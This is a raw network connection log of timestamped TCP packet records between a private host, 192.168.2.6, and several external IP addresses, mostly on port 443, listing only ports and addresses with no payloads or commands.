Oct 30, 2024 04:34:20.204791069 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.204848051 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.204860926 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.204871893 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.204876900 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.207637072 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.207686901 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.207746029 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.207880020 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.207896948 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.230282068 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.230513096 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.230568886 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.230623007 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.230639935 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.230652094 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.230657101 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.233484983 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.233505964 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.233596087 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.233741999 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.233751059 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.237490892 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.237656116 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.237729073 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.237881899 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.237895012 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.237905025 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.237909079 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.239908934 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.239945889 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.240010977 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.240142107 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.240156889 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.369240046 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.373379946 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.373406887 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.373830080 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.373835087 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.472338915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:20.472511053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:20.500633001 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.501086950 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.501163006 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.501204014 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.501204014 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.501230955 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.501240969 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.503911972 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.503954887 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.504045963 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.504201889 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.504213095 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.914093971 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.914715052 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.914730072 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.915050983 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.915056944 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.953145027 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.953569889 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.953597069 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.954030991 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.954041004 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.966582060 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.966973066 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.966988087 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.967386961 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.967391968 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.013370037 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.014220953 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.014249086 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.014693975 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.014700890 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.044395924 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.084826946 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.084901094 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.084980965 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.085217953 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.085222960 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.087973118 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.088007927 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.088057995 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.088191986 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.088216066 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.088239908 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.088252068 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.088278055 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.088572025 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.088588953 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.096106052 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.096117020 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.096251011 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.096251011 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.096261978 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.096636057 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.096724987 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.097414017 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.097486973 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.097624063 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.097691059 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.097691059 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.097740889 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.097750902 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.098545074 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.098566055 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.099647045 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.099682093 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.099689960 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.099731922 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.099828005 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.099852085 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.099885941 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.099905014 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.242871046 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.245285034 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.245359898 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.245757103 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.245771885 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.256285906 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.256356001 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.256441116 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.256670952 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.256690025 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.256716967 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.256721973 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.259259939 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.259308100 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.259397984 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.259541988 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.259556055 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.378421068 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.378504992 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.378654957 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.378875971 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.378923893 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.378956079 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.378973007 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.381992102 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.382021904 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.382214069 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.382303953 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.382309914 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.822384119 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.823162079 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.823200941 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.823617935 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.823622942 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.824820995 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.825902939 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.825932026 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.826594114 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.826606035 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.831635952 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.832015991 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.832041025 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.832420111 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.832426071 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.935825109 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:21.935856104 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:21.935954094 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:21.937743902 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:21.937753916 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:21.944315910 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.944612980 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.944632053 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.945664883 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.945730925 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.946873903 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.946938992 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.947022915 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:21.947031021 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:21.953007936 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.953212976 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.953269958 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.953325987 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.953346968 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.953366995 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.953372955 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.955014944 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.955558062 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.955586910 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.955655098 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.955717087 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.955718994 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.955796957 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.955805063 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.955832005 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.955853939 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.955868959 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.955876112 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.957880974 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.957911968 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.957971096 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.958122969 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.958136082 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.962416887 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.962660074 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.962714911 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.963001013 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.963009119 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.963017941 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.963022947 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.966058016 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.966088057 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.966192007 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.966526031 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.966538906 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.986692905 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.987216949 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.987241983 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.987941980 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:21.987948895 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:21.996638060 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.091989994 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.092030048 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.092111111 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.092328072 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.092350006 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.122242928 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.122303009 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.122359037 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.122704029 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.122733116 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.122744083 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.122750044 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.126908064 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.126946926 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.127103090 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.127278090 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.127295971 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.127965927 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.128278971 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.128290892 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.128710032 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.128715038 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.200684071 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.200723886 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.200750113 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.200772047 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.200797081 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.200813055 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.200993061 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.201092005 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.201138020 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.201145887 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.209198952 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.209270954 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.209286928 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.259797096 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.260334969 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.260396004 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.260556936 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.260556936 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.260569096 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.260576963 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.262232065 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.262249947 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.263426065 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.263451099 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.263535023 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.263664007 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.263679028 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.309164047 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.317559958 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.317671061 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.317728996 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.317744970 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.321645975 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.321707010 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.321732998 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.325896025 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.325961113 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.325973034 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.334831953 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.335062981 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.335073948 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.343523026 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.343606949 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.343615055 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.352591991 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.352650881 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.352664948 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.361201048 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.361270905 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.361280918 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.384015083 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.384052992 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.384088993 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.384103060 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.384150982 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.384160995 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.432998896 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.433016062 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.434482098 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.434523106 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.434555054 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.434556007 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.434566975 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.434627056 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.435162067 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.435213089 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.435220003 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.438400984 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.438436031 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.438457012 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.438466072 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.438512087 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.442475080 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.445662022 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.445748091 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.445760965 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.452666044 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.452696085 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.452759027 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.452773094 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.452830076 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.458811045 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.464710951 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.464745045 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.464792967 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.464809895 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.464853048 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.470776081 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.470839977 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.470895052 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.470921040 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.476938963 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.477010012 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.477030993 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.482964039 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.483023882 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.483038902 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.489093065 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.489181042 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.489188910 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.495146036 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.495227098 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.495235920 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.501403093 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.501477957 CET	49764	443	192.168.2.6	216.58.206.78
